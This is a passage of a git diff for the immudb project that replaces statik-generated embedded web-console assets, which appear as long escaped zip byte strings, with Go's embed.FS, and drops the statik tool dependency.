\x94\xd2\xf4\x8e\xf0i\"\x0d+e\xcb\x94\xdf\xdc.\xcc\xd6\xec\xd4u\xbc\xc6\xaa-l\xd1\xe8\x89\xa9H\xaf\x96\x11\x02\xd6\x81\xa1\xc5\xe4\x19\x93\xdf@i\x02\x8b\x1b\xb8\xca\xfe\np\x1a\xb79{\xbf$\xd6\xda\xec\xb7\xe0\x9e\x87u\xa7`\xb1\xe2#\xa2\x88i\x05>\xee\x0cN\x96\xefw\x04\xbcW\x97\xb2Z\xf3\xa2\x19\x9au\x1aT\xee\xf3\xb1>\xbe7E\x02\xd6\xef\xc0\x9er\xf6\xc26\xf38}\xe7[\xaf\xaf?\xc9/\xc6\xed\x87\x03\x04\x0f\xe5my\xd7s\xa7\xaa\xad2q%j\nI\xcf1\xff\x04\xb3m\xcf\xb8\xc8\x1f \x94\xd2-p\xec\xf4me\x02\xc4vxhys?\xa7\"\xb7\xbc\xd4\xc2\x82\x89\xdc\xf0\x13\xb5U\xb9\n\xfc\xb3)\xb0\x9b\xca\x1b\xf3\x7f8\xc9Y~\xa6\\\xd4\xe2 h\xf0\xdc\xeda\x0b\xf1\x02\xf1\xbd\xe1e\x8a\x020sM\xbc\xf3\xfa\xba\x9e\xbf\xe8Gg+\xf3\x9b\x99\xea\xd9\xbc\x00\x16]\x8b\xc8\xae\xb3ZU8:<\xbey\\\x98\x88\xf9\\\xbcPR\x1e*\x93O\xcb\xf1>\x9dR\xda6\x0e&P3\xe3!T\x0d%\x1ct*\xe8\xfd\xdc\x07\xc3\xed\xf2\x05\x99q\xb2\xb6'\xefT\xd7e\xa4\xcd\x94$\xe0-&a\xfe\x0b\xf5\xec4\x108\x0ec\x0d\xe5IP\xc3%\xd5\xbaU\xc8\x8c\xd4\xd3\x8e=\x9f\xef\xef\x96\xae\x8eA\x99\xc2\xd4\x8e\x1e\x15\xb2\xb8\xc5\x06.\xdam \xe9~\xc7\xe2\xae\x12 \xc3:}@\xf2\xa2p\xf9\xa0\x96\xf1\x19\xf0\xf3f:\xd1\xed\x1b\xf6q\xfe\x10\xf6$2\xd2\xa537\xd6\x19p-#\xc7\x05;.\xb6H\xa8,J\xcb\xbdZ\xb45%\xf1\x16W\xfd\xf5-\x95W\x86\x11ii\x8f\xdcP\xe5T\xe1\xefB^\xae\xf7\xd6E\xf7\x84/\xdb\xea\x8bg\x1c\x99D\x88>\x89 _\xbc\x1c\n\x91\xad\xb1zfRt\xbf/\xeb\xb0\xbc\xa7\x80\xa0\x12!b\xeb\x81\x97\x8b\xe9\xb8i\xd4h\x0b~\xe6\xeb\\\n3\xc1V\x8e\xe7\xb3;(\x08\x9f\\\xa6\x9b#\"\x98\xa2L\xff/\x05,\xf9\xaf\x0b\x1f\xd4\xa7 \xa4\x11i\x9f?\xcf\x8f\xfb\x90\xe1$\xa0\x19u(\xd0\xfe\xb7\xf3\xbb\x1b+\xc70\xae\xf9wF\xd6*\xd1\xd6\xe2\xc4vj\x10\x9f\x0f8\xd2\xf1\xbc\x0b\xad\xcf,\xca\xcd\x9a\x95\x066\xc1+\x15\x06\x89D\xe4\xe2\xbe\xc3\xab\x1eut\x1c0ByQ\xfc\x92VK\xb4Y\xc4\x84=\xcf$6a\xaf\x07\"\xc6E\x86\x91\xe9A\xb0\x14\xb4\xa9\xb1\x9a%\xfb\x18\x8fB\x14J.\xe7'\x8e\xb7\xcfs\xd2\xdc\xee\xc4ve\xa6\xd2yP\xb8)L9\xbf\xc0P\xe5\xa7\x19G\x87r\xc5\xf3F\xbcpZ\x91\xea\x98\xf1X\xf4aF=6\xda\x8f\x8d\x15\x89\x10\xe0?\xaf\xc7A\xc4\x98\xc5\x90\xd1`mg\xa1L\xfd\x83\x96\xa9h\x13\xa5\x9d\xe8\x80\x03G\x98\x8c4M\x831\x88w\xb4\xbbI/)\xfd\xa2\xca\x001Vx\xba+\x12\x11r\xb6\x86\x8f@\xd86;\xa2\x8a'\x0f\xdf5X\xe8!\x1c\x9c\xc0\xacHD-\xeb\x8a\x11+\xb4\xc5\x0cf\x98\x866\x8dK\x80\x81Sc\x88\xb1\xe0P;R!\x9c\x8b\xc4\xbe\x83\n\x14+\xf8\xbcw\x82\x8a\xbf\xd5(S\xecF\x14\x89\xa8\xe5\x9c\xd1;\x80R\xf3\"R\xd0\xa6*\xd3)[\xd0\xacx\xba\xf9\x84n|+\xde\x04\x16U5hD- =\x8e+\x18\xffd]\xd3\xd3%,\xe1H-\xa2^\xe0\x02\xcf\x12\x90\x1cW\xcc\x95\xfb\x8eE<\xe3\xf6\x9c]+R$[1\xd99\x8d\x8d\xd5\x18,N\x94\x92)\x13\x07l\xe6\x9bC}\xff\x99\x87\x00\x98\xe5\xba\x14'\xe4\x08\xf2W\x8b\xb7f]\x18^\xe1 \xc6O\xf3Jg\xe75#\xf0G\x80L\x00\x8c%\x0d\x1b\xd2\xa8\x9e\xe7\xc6\xb2G5\xa5\xc62\x81\x90\x9b\xdd\x89\x8b^\x9c\xcaF\xb5\x0f\xe2\x80\x90\xfdD\x0dw\x19\xaa\x89\xe2\x1cA\x07\xc1#Q\xa6\xd9\x8d\x08\xba\xd4)\x8f\xb8bq{AE\x9c\xdf\x06\x97\x11\xf8\xc7N\xb5 \xc0\xa1xh\x81Dp\xa2\xbf\x98qV\xc8\x0fC\xfb\x8d,\xfc$nK\x93\x8b\xea\xdbw\x81\xc6x\xefO4L\xcd.\xe2\x10\xe5s*1\xc5\xa3\xf3\xf7\xa3`oa+\xb5i\x05B\x04\x00\x1b\x8e\xc8\x1f\x11\x05\x02\xa1\xa5\xbew\xd4\xd8Mj\xd0\x8b\xef\xaf\x81\x90\xcc\xc3q\xc5\xcb8A\x03\xc3XS6\xb0\xb66\x14\x8a\xd1\xd6\xff\xf5&\xc9)l2\x01\xba\x90\xee/\xe7\xe2\xeb\x96\x89\x18\xa9\xe2 9\x0d\x1d\xd2\xaa\xf8%\xfa9\x13\x82\xdd\x89)d\xb0\xcax]\x9f\x07<\xc89_%y\xf6,\x9a\x9b\xd5\xf8\xbd;\xaaE;\x84\x1d\xff\xbc\xd1<\x92\xdd\x8a\x99\xb3\x06 d\x99\x02\x18\x18\xedW\x13\xc9\x02\x1e\xb2\xb2\x0e\x17\xa3\x9b\\?\xb9YF\x95\xf5\xc5\xeca3\x01\xf6h\xf9\xc9\x19\xa0\xa3Ck\x90\xa2vJ\x95\xe9\x02:\x0b/\xc8}W:\x0f.>/\xfa?i\xc2\xc1\xa9\x82\x0b_\xf9\x94\xd25M\x9cQ\xa8\xaf\xa8'\x169\x0f+\x10]W\xce\xa0\xed\x18\xb9jEx\xde\xd8\xdb\xde\x9b9\xbb\xa8u\xe5\x1c'/5\xd0O\xfd5J\x8f\x8fx\x07\xb6O\xca\x93fy\xb8\xb6\xac\x0e\xd3\x85\x90\xaf\x123\x82uw\xa4If\x0d\xcb*\xe05u\xc1\xe8\xda\xe0bI\xb4\x07>Y\xe7\xadZ\xac\x88)m,5A \xd4\x87\xfc\xfd5Dr\xcff\xcdaQ\xc9a\x8b\x11\xca\x89W\x1d\x9b\xd4I\xd8\x9b\x81\x07\xef%`\x10\x00\x12\x88\xf6\xc0P\xd8\xa4Q\xb8t\xca\xd8\xd9\xa1\x14\xa4\x0e\xff_\xa7\xfd'St_U-\xb0m^\xfc\xe0\xff\xdbG\xfe\xf0/t\xe7\xc6\xed\x1fZ\xcc\xce!\x941\xe3\xf0\xddX\xe7\xab\x8e\xf0\xd0\xee\x80\xe56\x16^\xb3 \x8f3\xf8\xe9Q,\xa2\x04\x07\xf3\xd6\xcc\xad\x8b\xef\xeb\x14\x0b\x1e\xbe\xe5\xa7\x07\xa9\xcf\xa3\x8e\xd3r\x8f\xdf\\\x96O7\x0b\xa3\xed\x85\xd0\xf1\x01c\xfd\xd1.\xce\xfa\xf0WO\xc1\xbb\x98\xc77\xd7\x1d\x95T\x81\xaf\xae\x1f\x1ek\xd4\xac\xb7\x99\xee\xd1\xc1\x17`\x87S\xb8Zq\n+\xf9y\xb2o\x12\xf1\xdc\x99&/O&;\xdf\xd4\x99&^\x1c\xb9qsH(\xc3\xbb\xa6\x86\xd4\xb2\x80{\xdc\x08\xfd2\x11b\xb2\x1f+\xa6\x9c\xf4\xaf\x8f\xe9\xa4\xa4N\xdf]\xcb\x9f\xca\x05\x17\xffy\xe4>~\xebI\x00\xfa\x9d\xca\xca\x1elr\x1df\xb7-!\xf9\xd2q\xc7\x12\x0b\x0b\x0bKCU\x07Q\xafl\x13\xf1?\x01\x00\x00\xff\xffPK\x07\x08{\x86\x02V\x89p\x00\x00\x99p\x00\x00PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\xa9xUV\x8d}\xce\x0b\x17\x02\x00\x00\x1b\x04\x00\x00\n\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00index.htmlUT\x05\x00\x01\xaf\xdd\xf4cPK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\xa9xUV{\x86\x02V\x89p\x00\x00\x99p\x00\x00\n\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81X\x02\x00\x00mascot.pngUT\x05\x00\x01\xaf\xdd\xf4cPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\x82\x00\x00\x00\"s\x00\x00\x00\x00" - fs.Register(data) - } - \ No newline at end of file diff --git a/tools.go b/tools.go index 153aa12681..aed04802f4 100644 --- a/tools.go +++ b/tools.go @@ -9,7 +9,6 @@ import ( _ "github.com/mattn/goveralls" _ "github.com/ory/go-acc" _ "github.com/pseudomuto/protoc-gen-doc/cmd/protoc-gen-doc" - _ "github.com/rakyll/statik" _ "golang.org/x/tools/cmd/cover" _ "google.golang.org/grpc" _ "google.golang.org/grpc/cmd/protoc-gen-go-grpc" diff --git a/webconsole/webconsole.go b/webconsole/webconsole.go index 92a1f5f384..c8de6be1e5 100644 --- a/webconsole/webconsole.go +++ b/webconsole/webconsole.go @@ -3,23 +3,22 @@ package webconsole -//go:generate go run github.com/rakyll/statik -f -src=./dist -p=webconsoleembedded -dest=. -tags=webconsole - import ( + "embed" "github.com/codenotary/immudb/pkg/logger" - "github.com/rakyll/statik/fs" + "io/fs" "net/http" - - _ "github.com/codenotary/immudb/webconsole/webconsoleembedded" ) -var statikFS, err = fs.New() +//go:embed dist/* +var content embed.FS func SetupWebconsole(mux *http.ServeMux, l logger.Logger, addr string) error { + fSys, err := fs.Sub(content, "dist") if err != nil { return err } l.Infof("Webconsole enabled: %s", addr) - mux.Handle("/", http.FileServer(statikFS)) + mux.Handle("/", http.FileServer(http.FS(fSys))) return nil } diff --git a/webconsole/webconsole_default.go b/webconsole/webconsole_default.go index dc885ced21..ab78b3bbe6 100644 --- a/webconsole/webconsole_default.go +++ b/webconsole/webconsole_default.go @@ -3,19 +3,19 @@ package webconsole -//go:generate go run github.com/rakyll/statik -f -src=./default -p=webconsoleembedded -dest=. -tags=!webconsole - import ( + "embed" + "io/fs" "net/http" "github.com/codenotary/immudb/pkg/logger" - _ "github.com/codenotary/immudb/webconsole/webconsoleembedded" - "github.com/rakyll/statik/fs" ) -var statikFS, err = fs.New() +//go:embed default/* +var content embed.FS func SetupWebconsole(mux *http.ServeMux, l logger.Logger, addr string) error { + fSys, err := fs.Sub(content, "default") if err != nil { return err } @@ -23,6 +23,6 @@ func SetupWebconsole(mux *http.ServeMux, l logger.Logger, addr string) error { mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { http.Redirect(w, r, "/missing/", http.StatusTemporaryRedirect) }) - mux.Handle("/missing/", http.FileServer(statikFS)) + mux.Handle("/missing/", http.FileServer(http.FS(fSys))) return nil } diff --git a/webconsole/webconsoleembedded/statik.go b/webconsole/webconsoleembedded/statik.go deleted file mode 100644 index 9815169100..0000000000 --- a/webconsole/webconsoleembedded/statik.go +++ /dev/null @@ -1,16 +0,0 @@ -// Code generated by statik. DO NOT EDIT. - -// +build !webconsole - -package webconsoleembedded - -import ( - "github.com/rakyll/statik/fs" -) - - -func init() { - data := "PK\x03\x04\x14\x00\x08\x00\x08\x00\x99\x92OV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00 \x00missing/index.htmlUT\x05\x00\x01\x82\"\xedc\x94T\xdfk\xdb0\x10~\xef_q\xd3(\xb4\x10GI PR\xdb\x0fk\xfb0\x18[\xd9\x0fX\x1f\xcf\xf2\xd9\x16\x93u\x9etn\x16\xc6\xfe\xf7\xe1\xdai\x12\xd6\x0d\xf6\x12)\x9f\xee\xfbN\x9f\xee\xc3\xe9\xab\xdb\x0f7\x9f\x1f\xee\xef\xa0\x91\xd6\xe5g\xe9\xb0\x80C_g\x8a\xbc\xca\xcf\x00\xd2\x86\xb0\x1c6\x00\xa9Xq\x94\xbfg\xd8Ra\xd8Gv\x94\xea\x11\x1c\x0bZ\x12\x84F\xa4K\xe8{o\x1f3u\x83\xa6\xa1\xe4\x86\xbd\x04v\n\x0c{!/\x99\xf2\x9c\x98\xe1h\x06\x9e\x93(\x1ch\x06m\x1f% \xf4\x88\xce\x96(\xa4@\xffM\xf5>`\xdd\xe2\x0br\xff\xe0\xdc\xfd\xe8l\xa0xDZ\x1c\xaa\xa3\xec\xf6\x1e\x00\n.w\xf0s\xfa\x03P\xa0\xf9V\x07\xee}\x99\x18v\x1c6\xf0z\xb5\\\xadV\xe6\xfa\xb9\xa4b/I\x85\xadu\xbb\x0d|\xe4\x82\x85g\x10\xd1\xc7$R\xb0\xd5\xa1p\x12\x08uq\xb1\xbcZ\xcf`\xffs\xb9/\xf95\xad8\x03\xdc<\xdah\x85\xca\xa3\xbb\x9c(\xac\x06\xee\xf2j\x06\xab\xe5\xe2\x0f\x81\xf9`\x13\xad\xa7pB\x07\xe88Z\xb1\xec7\x80Ed\xd7\x0b]\x9f\x9c\x0bw\x1bX/\xceOQG\x95\xbc\x00K@\x1f+\x0e\xedf\xdc:\x14\xfaz\x91\xac\x17\xe7\x97\x07\xe0a\x04\x0e\xcc\xf1\x8e\xa9>z\xf5)Z\xb6m\xfb\xb28\xcaT\xaa\xf7\xf1K\x9f\xc6b\x1c\xc6\x98\xa9gsj\xa2\xdb\xb6\x86\xad-\xa5\xc9\xd4r\xbdP\x10\x83\xc9T\x8b\xd1\xb0\xcc;_+@'\x99\x1a\xe5a\xc4\xd5~\xf8\xdd\xd4\x16\xb6\x18\xa1\xe8\xad\x13\xd8Zi\xb8\x97!\xe70\x05\x1db\xdfu\x1cd\x9e\xea\xee\x99\xf8\x89\x08R\x84&P\x95\xa9!mq\xa3um\xa5\xe9\x8b\xb9\xe1V\x1b.\xc9\xb3`\xd8\xe9\xb1\x87.\x1c\x17\xba\xc5(\x14\xf4\x9b/o\xdf\xdd\xce\xdbR\xe5\x0d\x05J5\xe6Pq\x00\xeb\xa3\x84\xde\x0cC\x8a3\xe0\x00%o\xbdc,\x01\xfd\x7fv\x0b\xe4\x08#E\x95sUYc\xd1=\x19,\x87^{#\xa9\x1e^6?K\xf5\xf8\x0d\xf8\x1d\x00\x00\xff\xffPK\x07\x08\n\x06\xc6F\x0f\x02\x00\x00\x14\x04\x00\x00PK\x03\x04\x14\x00\x08\x00\x08\x00\x99\x92OV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00 \x00missing/mascot.pngUT\x05\x00\x01\x82\"\xedc\x9c\xda\xf5?\x1c\x0e\xc0\xc0\xf1\xd3\xc7\xd4\x9dn\xee\xf4Ww\x8d\xc3\xe9\xce\xe9\xe9\x98\xee\x18S\x87\xd3}b\x86i\xa6\xbb\xa6\xa7'\x86\xe9\xce\xa9i\xb6\x89\xe7\xf5\xfc\xf0\xfc\x03\xcf\xe7/\xf8\xfc\x01\xefXmM%\x02=\xaf\x1a\x90R\x90\xcb\xb4\x92\xfdM)\xa5\xf2G\x16\xcdlv\xedO\x8c\x9a\x05P\xe4\xda\xfe\xce\xda\xfa\xda\x8a\xff\xf0\x0b{\xfemb\xc3\xd4\xc1\xaf\xd3\xb9\xf9\x05\x1ey\xa7\xfb\x87?\xb4\xc1\x83\xd0\xb4_\xcd]\xa3\xbe\xd9},\x1e\xfd\x8an\xe5~\xc8\"\x9e\xc0\xa9\xfe\x89\x95\x8f\x85_R\x8a\x06\xf4-\xd2}B`\xe4\x8fg\xc2\x87z!\xb4\x91\x9a\x0fI8:\xa6\xcf$\x84\x8e\xccHd(\xdbwF2\xdae\x02z&\xd4\xcd\xb9\x9c\x99%\xfd@j\xee\xcet(c5iU\xa6\xbf-7\xbd\xfe F/~L\x02\x8d.\xea\x05@\xf4\xae\xc0\xfb\x07\xa5TcH\x1f\x07\xce\x15@\x168D\x9dV4\xbdI\xa7T\xb1E\x911-\xbe@\xc9\xd9,]\x14sA\xec\xc3\x92\x83\xdc\x0c\xcem\xd6\x1b\xcbk\x90\xdeG\xd4 u\xeb\x08\x11\x17\xb2\xc5\\\xa4\x18l8\xa4\xc4=\x9cy\xb2 2E\x0e\xf2\x82+\x88 \xe0\x95\xc7LRaHm\xe6\xffB\xdb\xc2\x1dO#_#@\x15\x18F@\xfe\xe6h\"[\xf9\xb0zR\x87G7F\xdbQ\xc1%M#\x8e\x16[z\xa0\x07%\x19\x03\x10^ D\xbe\xadeW[X\xc0\xa5\x94\xb2\xae\xa3\x9ds\xc9\x1e\x04\x92C\x14\xa9\xcex\xa8\x83\xe6{\xc7l\x1cg\xaf_\xb1C\xb3u7`\xf8;h\xf0\xd2\x1f\xc4m;\x14\x06\xe3\x87\x9d[13Q\xb82P\x9e\x83:\x8e\xcb\x05\xbae\xb4:\xcc\xee\x08JG\xc6\x99\xf6\x0cKs\xb9\x97\x04\xe7NG\xdb\xa3/V\xd9\xb8\x99\xb6\xdc\xf6\xbcL\xaa\x81\xb68\xed\x1cZ\xa1[\x0e\x8cy\xaf\x08\x84\x0c\xae\xdf:\x16\xf1\xb7\x0c\x1ep\xd2Ix\x8f\x19N\xde>\xf4\x18\xa7d(\xf9\xf5)Q\x97K{\xa0\x91,x\xce\xc1\x8fj\x1b\xcb\xc8u\xdfs\xd6s$\xd3\xbf\x98 \xef\xe3\x8e\x84u\xea\x9e|N\xbb:\x9c\xf4\xc3\xd2\x17\xab\x0c\xa1a\x85\xc9\xd6Y\xba\xc1\xea\xdd\xc3\x00$:r\x17:vs\x0c\x85\x10AM\xe1\xe8\x88\xd3\xa1\xc7\xb0\x19__\x13:\xd6\xc0\x04\xb5\xa7\xb8\x1a,\xfe\xcb\xf80\x18\xc9\xf6\xc3B\x18\xd0dPH][\xef\xbb;` \xe3\xd6 \x1cx\x8e\x91}aN\xc9\xccf\xef9\x85f\xb5_;^\x1b*VG& kNz\x8d+y2\xc7\xbb\x91\xdd\x8b\x86p\xa8\xe3'\xd9\x13w\xcb\xcf\x96\xc0\x81\xdb\x07\xdee\x11f\xe3\x969\xd1{\xb0\xe6\xa8\x9eU\x9d\xde\x95\x0b\x88=*\xac\x1b\x8a\x1af\n\xec15\x8a\xe7\x0d{\x13\x83\xdb\x08\x05\x9b\xb7\xae\x19!\xbbT\x10Y\xd9\xa3\x9a\xf0\x14?V\xd8\x90\xc4\x7f*\xb1\x1f\x87?\x99\xe4,\x03\xc2M\x06\x16\xc5\x8f\x16\xd6\xf8&g\xca\xc6\xed}\xaa:\x99\xa1\x9e\xa6\x06\xc6\xd3x\xc8-\xd1\n\xa9\x0f\x92 \x1d\xbc\xfc\xef'\x0f\x81\x0c^4\xa2$ A\xddL!f \x1cP\xff\xe4Z\x18#\xc4-\xf7K\xdeGd!\x87\x0e\x184\xb2\x0e\x16&\xf0Y\xdb{x\x17\x9d\xfb\x11\xb9\x95\xe9\xab\x7f\xd6i\xb5%\xfeE\x1d\xf3n\xc7z\x91\xc5Wem\xcaa\xb2\xb4'\xea\x1f\xf0Q@\xbf_\xceA\x04\xcd\x93Hzp\xd8\xa0\xfdk\x7f\xa2\xd8\x0f\x12\x87\xa0\n\x87\x03?\xcf\xe1\xcd[\xaa\x9fb\xbd\x90e\x11\xf6\xad:L\xd2\x81\xa5\x82\xa4Wu\xeco\x03\x8b\xd7\xe6\xdf&\x0b\xb6c\xd5\x15\xb6\xbcs\xb3\xe9\xef\xa2\xf0y\x85E\xce\x1a\xc8>\xden\xeev\xfc{\x84jM\xcb\xb3\xc1cZ.\x063O\xd0\xfe\xb4\"\x0f\xe4\xe6\"\xebwTj\xfe\xd6p\x83U\x14kc \xec\x1fq\xbf\xf4P\xf1\xac\xc4\x91\xc5\x17|\xe7Z\x0fY?\xc7\xce\xc3\xbf\x8dW~\x1d\x95\xac\xf5\x00\x02\x9d\x18,t\xc9\x14\x8aa\xfbZ=,\"\xd36_\\\xbe\xbei\xd5qm3I\xb2\xcf\xeef\xd3\x8e; O\x84h\x84\xbd?\xe4 \xa7\xca\\\x99\x15\x9e\xcb0{\xda\x9a\xc6\xce\xd6j\x9f&\xb5\xb7mAv\x11!\x8e\xdc\x13\xbb\x065\x95\xf3\x9e\x06$\xfc\x83i\x0ep9\xfe\xde\x7f\xcam\xa8}4\xf2\xcc\x19[\xe6\xdaw\x90*\x97\xa4\x18(\xf8\xbb}\xfa\xa0\xa6\x94\x9b\x7f\x99@.z\xd2\xec\xf0\x96-\xc1\xecf\x12_\x17\xde\x9b\x11\xd5\x1brc\x8f\xa6\xef\xfek\x11g\x85\xfe\x12\x11\xd8 \xbb\x83\xbab\xcb\x89W\xdf\xd4\xbb +\xdfA \x0b8\x18\xfd\xfe\x1d\xa3m\xc6\xacB\xbe+\xa5\xbb3_\xe3\x0dZu\xa5\x1c!\xf6K*\x8b^\xb4ap\xe7\"\xa4\x03\x001\xea=!\xab<\xf3Ec\x7f\xfb\xe1\xdd\xc6\xd3U]\xceG`\xe8\xb5\\ \xa5\xfc\xbe\xdf+\x98\xcb\xf5Z\xd8%\xa3S\x0e\xea\xb3\xdbz|\xbf\xdcv\xa1\x81,\x1e+\xe4c\xd0\xd8R\x86|D\x8fdo\x0e\xd3%\xacB\x8a\x0d\xa2h_\xc1\xbf\xc0\x96wY\xee\xb7\xa3mg\xff\xce\x9ad\xfb\x9ex\xe7\xf2=\x1e\xdb\xc7\xe3\x1f\x9fu\x93a{\\1/\xfb\x92\x10k|\xe2R\x9f2\x15\xac\x9d\xb6\xba\xdfp\xdc\x138\xdb\xd9\xc8\xbd)\xc7\xa7\x94gz\xdep\x7f\xcf\x8b\xd8\x94\x19\x0d;?\x1cX\xe14#\xe4GH\xf4\xf1\x81_\xee\x81\x82[\xee\x97\xdc\xdeu\x9e\x8c\xab\x1d\x17\xee\x0c\xb7\xaa\xe5\xad\xfcf/{jV\xbe-\x80\x1a\xb6\x8e\"\x8fq> \x08:\xa7u<\x14\x82\xd3\x0e\xd5\x8e\xd6.\xd0\xf8\xc1>\xf8\xa5\x1d\xd9\xe8;n\x95%\xfc\xe9\xcfq\xbb`_n\xf0+\xb4\xe1V\xa6\x08\xebD\xfdr\x9d\xce\xaa\xc5\xaf\xad\xbf\xbd\xee\xcck\x82\xe2\\K\xd7$\x0c\x05\xfc\xdaW5\x94XN\xca.T\xb2\x93\xd1\xc9[;\x0cW\x87\x15\xb5or\xcc\x9af\xa2?\xd2\xbd\x1b\x7f6\xc8\xeb\xb9^\xefmi8\x01\xeeZwx(4{<\x8c\x9c\xc1\x06vTw\x9d~\xeeZ\x9f\xeb\xc6\x9b\xfd\x92\x02\xa7\xaa\xe4bi\xb0\x16\xa1\xbf\xbc\xd2\xe9\x96\xf2;\x91\xe2\n\xa2\xeehl^&\x98\xefXM\x14}_\x8b\x96\xaa\x82P\xc5\nE\xac\xfc\xc3g\x1c\xf8\xa1\xaf\xc5 *$\xc1\x97\x92\xc3\xdfK^\x970\xfa'pct\x05\xfa\x0c\xb3a\x8c@\xec\x7f\xb2\xa0\xbca\xd5C\xb4m\x89j\x97\xc0IRi\xaa|\x12Y\xd0\xb3\x97\xe4f\x96{\xedk\x8cA\x15\n^\xa88\x1ar\xccR\xe9@\xbb7vpq\x85\xac6\xde\xc8s\x0d\xb8\xdbqZ\xab^\xe9{\x82U\xa9a\xd7\xda\xbfo\xdc\xbe\x91\x85\xdbq\x82AHw\xf7\xbd\xcb\xaf\xda$\xcdo\xb7j\xe8q \\X\x05\xbf\x1a\x14\xbf7=0\xf6\xab\x1e\xfd\xb8\xdd\x08\xd9\xb7\x83\x15en\xe5\xe0\xc3\x82\x19\x86\xbcR\xa2~\x99\xe7\xb1+w\xff\x87\xa7\x86\xb1\xd3;\xa4[\x91\x9a\x97\xdcw4G\x8b\x14\xf3\xdc49rT\x9f\x03K\xe9\x7f\xb9]\xae\xc6v{S\x07\x0e\xac/\x1bVa\x00f\xf0i\xb1\xec\xca\x0c\xf1\xbdKV\x96\xa8\x80ni0 g\xf0\xa4Ff\xcd]\x96Z\xb3\xe7\x9d\xa9D\xc6\x9e\x00\x88^l\xb1_\x84ln\x08-w\x00\x1ecX\xf5\nM,\x1d\xee\x04\xc8\xd8\xc5)$\x8a\x1d\xdc\xf0\x9d%\x80\xf0=\x02\xa1\xf9\xab&\x9eu\x87\xed\xd7\xe8I.\x9bB\x8b\x9d\xe0\n\x86\xb6\x98\xba\xaa\x90\xe2\x80\x18\x18U\xac\xabo\x04ZZ\x05\"\xe5\x9f\xd6\x7f\x8f\xa0\xf3\xf7\xb7\xbe'\xf3DS]cVh1\xf9\xf3\x05\xf6\xb4on\xf2\xf0\xaf\xf4\xf5Z\xb4\xed\x90\x98\x13\xd5\xfa\xb0\x88C\x15(\xfb\x94\x14,_.\xd2n\x97\xa5\xf9r\xb1M\x8e>@a3X\xdf\xae\xd5\x9eE\x98\x80`\x8b\xb0\x1dbg\n\x7f\xed\xc4\xff\xe8\xec\\V7}-\x0f\x93D\xf7\xd4E\xf2Y\xa8\xf1\x94\xb3U\x9f\xda\xe7U\xc1\xe6n\xb7\xea\xd5\xd1;\x95*#\xad;\xe5\x1b7\xa7\x1b\xb2\xe1\xcf\xbc\x0f&\x14\xbc\x17\xe9\xdc\xef\x1d\x99\xbb\xe7\x18\xa9RiC\xff\xfe\x18fb\x01}L\x991\xa3\x85n\x8f\x1b\xb7\x1d\xbf\x9ff\x9du\xd2>\x15\x17q\xcdY\xce_\x15\x8b\xc5l\x1d\x98\xf6\xdd\xa9\x13\xbf\xc8b-\xe7\xb70\xadjm\xd5\xffso\x88\xfe\xbb{\xd6~X\x11\xbd&\x1bZ\xce\x1f\xdeZ\xfd\xd0\xaf\xbc\xb7*\xa8\x0c\xbb`l\xa4J\x0e\xa0z\xa0Q\xeb,wra5}\x15\x80\xc2\x816\xd4q\xc8\xf3\xad(\x15 \x04\xe1\xf5n\xdf\x0f/\xc5\xc6\x04Z\xeb\xe4\xe5\x0d\x0b\xa1\x1d5\xa4]\xc85\xbd\xc5Q\x12\x97\xd15\xbb\xe2|\xe5M\xe35P\x99hX.\x0d-\xe7\xafL]\x8a\xfb\x9av\xa12i\xf1\x91\xe5\xfe\xcd\xb7\xe4x\x1agcR\x93\x9e\xaf_\x1b\x8a\x8c\x80\x82\xa5\x14\x03\xf3\x9c\xae\xb4\xb9\x86*\x00,\x1ch\xc3\xad\xf2^\xf7a\x95\x12R\x0d\xe8c\xc0\xf4vs\xf1\xe4\xd6\xeb\xf6\xf1\xea\xaf!)\x89\x86+m\x9c\xf3\x9e\xd00\x84i\x90k\xf3\xf3\xc6\xc2\x15MG\xc1\xc9\xce:|\x01\x99_>Iv\xe5tM9e\xff\xf5\xf1\xfa\xca\x80V\xf8W\x82\xaa{r\xad\x13\xbb\xef\xbdAjY\xe6\xf1\x0c\xeb\xe7\xab\xc8Lb%\x02\xc2-Q\xddD\xcc\xb6\xa2\x80D)!\xf5ji\xdb\xfe\xe3\xcaI\xcc\xba\x11?\xa3\x1d]2\xa61w\xf6\xb9\xf3\xd2c\xa6\xd9\x9a\xb7^\x1f;7\xd2L\x8d\xa5^\xfbM\xdbw\x04?c\n\xf2\xeb\xf0\x90\xe6\xadT,\x91P0\x91\x7f[\x1f\xa9S\xfd\xd3\xc8\xba\xe9\x00\xf1\xf0\xd6b\xd3[P\xb1\x88\xdc\xe4\x8b\x0di\xdf\xff\xb7;k\\\x87b\x88\xf7a\xfe+\x18\xe75yJ\xf8\xc1\x9b\xb4\xae\xe0\xdb\xfa\x17\xbd\x1b\x9a.T\xfb\xe4\xd3y>9x}\xd8\xb46\xcd\x0blF\xca\x16\x06\x10l0\xe9\xa9\x87\xfc\xaa\xb5J\xb0\xf5/\xa3\x1b\xbc\xe2\xa7\xa9\x00`\x12\x18\xba\\\xb7\xb6\xfb\x07\xc6i\xa1{/\x97E\xf5\xa3\xe1\xaa\xab\xf9\xc8M5\x1b.WI{Q\xb92\x8fo+{tG\x95\xb3\x8f+x:b`:q(JEc=\xd3\x89\xd6\xc5w\xf5\x1a\x90\xd3:,\xd7\xc6\x1d\x06\xfe\xb7\x06\xe4w\xec\x9aH\x8b\xdf\x0e\xe1[#\xadKN\xd6\x83\xe8P\xe9\x1c\xd5%gee%\xb7A\xec5\xdaU\xdc\xb2ba\xd5\x05\xf4=\xe4\xfe\xbfEK\x8eYYV\xa4,a+\xeb\x89\xdf\xbf{\xb8\x8ee\xaeI\xe5\xcb\xa27\x0f1N\x0c\xd6\xfcws\xf2\xcf\xab\xc3\xac\x06\xf5eq\xe02\xf5\x078\xdc(\xcc\xd4T\xa6/\xd5\xff\xb7\xe8\xa3\x1fh\xee\x8e\xc6U~\x1b#\xa9\xb5s\xcf\xad\"\x16\xa7\xe0\xf2\xf9\xe1i\xf9\xd1\xf8\x03\xe9~\xd8y\xfc\xf8\xe8\xceIH\xc7\x86\x8bH\xf2\x89\xcc\xc3r\xad\xb1\x16\x8a\x9d